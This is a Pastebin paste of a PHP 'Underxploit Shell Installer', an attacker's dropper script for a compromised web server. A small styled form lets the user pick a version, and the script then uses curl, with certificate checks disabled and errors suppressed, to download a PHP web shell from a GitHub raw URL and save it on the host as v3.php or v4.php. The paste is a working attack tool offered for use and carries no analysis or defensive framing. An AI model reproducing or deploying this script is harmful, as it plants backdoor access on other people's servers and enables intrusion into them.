Advertisement
WILDAN_IZZUDIN

SHELL INSTALLER

Mar 29th, 2019
772
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.73 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. print '<html>
  4.     <head>
  5.         <title>Underxploit Shell Installer</title>
  6.         <style>
  7. @font-face {
  8.    font-family: "riv";
  9.    src: url(//underxploit.github.io/assets/fonts/riv.ttf);
  10. }
  11. img[alt*="www.000webhost.com"] {
  12.    display: none;
  13. }
  14. * {
  15.    box-sizing: border-box;
  16. }
  17. *:focus {
  18.    outline: 0;
  19. }
  20. body {
  21.    background: #222;
  22.    font-size: 14px;
  23.    font-family: riv;
  24. }
  25. .wrap {
  26.    margin: auto;
  27.    max-width: 400px;
  28.    padding-top: 50%;
  29.    padding-right: 20px;
  30.    padding-left: 20px;
  31. }
  32. h1 {
  33.    color: #fff;
  34.    font-size: 16px;
  35. }
  36. table {
  37.    width: 100%}
  38. select {
  39.    -webkit-appearance: none;
  40.    -moz-appearance: none;
  41.    text-indent: 1px;
  42. }
  43. select {
  44.    background: none;
  45.    padding: 10px;
  46.    border: 0;
  47.    color: #fff;
  48.    width: 100%;
  49.    font-family: riv;
  50. }
  51. button {
  52.    background: #1D9D73;
  53.    padding: 10px;
  54.    border: 1px solid #1D9D63;
  55.    color: #fff;
  56.    width: 100%;
  57.    border-radius: 2px;
  58.    font-family: riv;
  59.    transition: .3s;
  60. }
  61. button:hover {
  62.    background: none;
  63.    border: 1px solid #1D9D73;
  64. }
  65. .wrsel {
  66.    border: 3px solid #1D9D73;
  67.    border-radius: 3px;
  68. }
  69. form {
  70.    margin: 0;
  71.    padding: 0;
  72. }
  73. small {
  74.    color: #444;
  75. }
  76. .ok {
  77.    color: #1D9D73;
  78. }
  79. .er {
  80.    color: red;
  81. }
  82.         </style>
  83.     </head>
  84. <body>';
  85.  
  86. function op($d, $e)
  87.     {
  88.     $fp = fopen($d, "w");
  89.     $ch = curl_init();
  90.     curl_setopt($ch, CURLOPT_URL, $e);
  91.     curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  92.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  93.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  94.     curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  95.     curl_setopt($ch, CURLOPT_FILE, $fp);
  96.     return curl_exec($ch);
  97.     curl_close($ch);
  98.     fclose($fp);
  99.     ob_flush();
  100.     flush();
  101.     }
  102.  
  103. switch ($_POST['op'])
  104.     {
  105. case ('1'):
  106.     switch (true)
  107.         {
  108.     case (op('v3.php', 'https://raw.githubusercontent.com/underxploit/underxploit-shell/master/0.1.3/underxploit.php')):
  109.         $al = '<span class="ok"> OK </span> > v3.php';
  110.         }
  111.  
  112.     break;
  113.  
  114. case ('2'):
  115.     switch (true)
  116.         {
  117.     case (op('v4.php', 'https://raw.githubusercontent.com/underxploit/underxploit-shell/master/0.1.4/underxploit.php')):
  118.         $al = '<span class="ok"> OK </span> > v4.php';
  119.         }
  120.     }
  121.  
  122. print '<div class="wrap">
  123.     <h1>SHELL INSTALLER : ' . $al . '</h1>
  124.         <br />
  125.     <div class="wrsel">
  126.             <form action="" method="POST">
  127.         <table>
  128.             <td>
  129.         <select name="op">
  130.             <option value="" disabled selected>Version</option>
  131.             <option value="1">0.1.3</option>
  132.             <option value="2">0.1.4</option>
  133.         </select>
  134.             </td>
  135.             <td style="width:30px">
  136.                 <button> INSTALL</button>
  137.                 </td></table>
  138.             </div>
  139.                 </form>
  140.                 <br /><br />
  141. <center><small>&copy; ' . date('Y') . ' Underxploit Reborn </small></center>
  142. </div>';
  143. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement